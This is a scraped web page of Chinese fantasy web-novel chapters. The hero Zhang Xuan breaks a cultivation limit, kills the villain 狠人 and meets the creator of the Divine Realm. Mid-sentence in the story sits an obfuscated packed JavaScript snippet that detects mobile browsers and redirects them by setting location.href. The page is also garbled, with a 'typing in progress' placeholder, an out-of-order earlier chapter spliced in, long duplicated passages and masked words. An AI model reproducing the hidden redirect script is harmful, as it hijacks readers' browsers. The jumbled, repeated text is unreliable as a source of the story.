“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546008|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第36章三万对十万如何取胜 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? 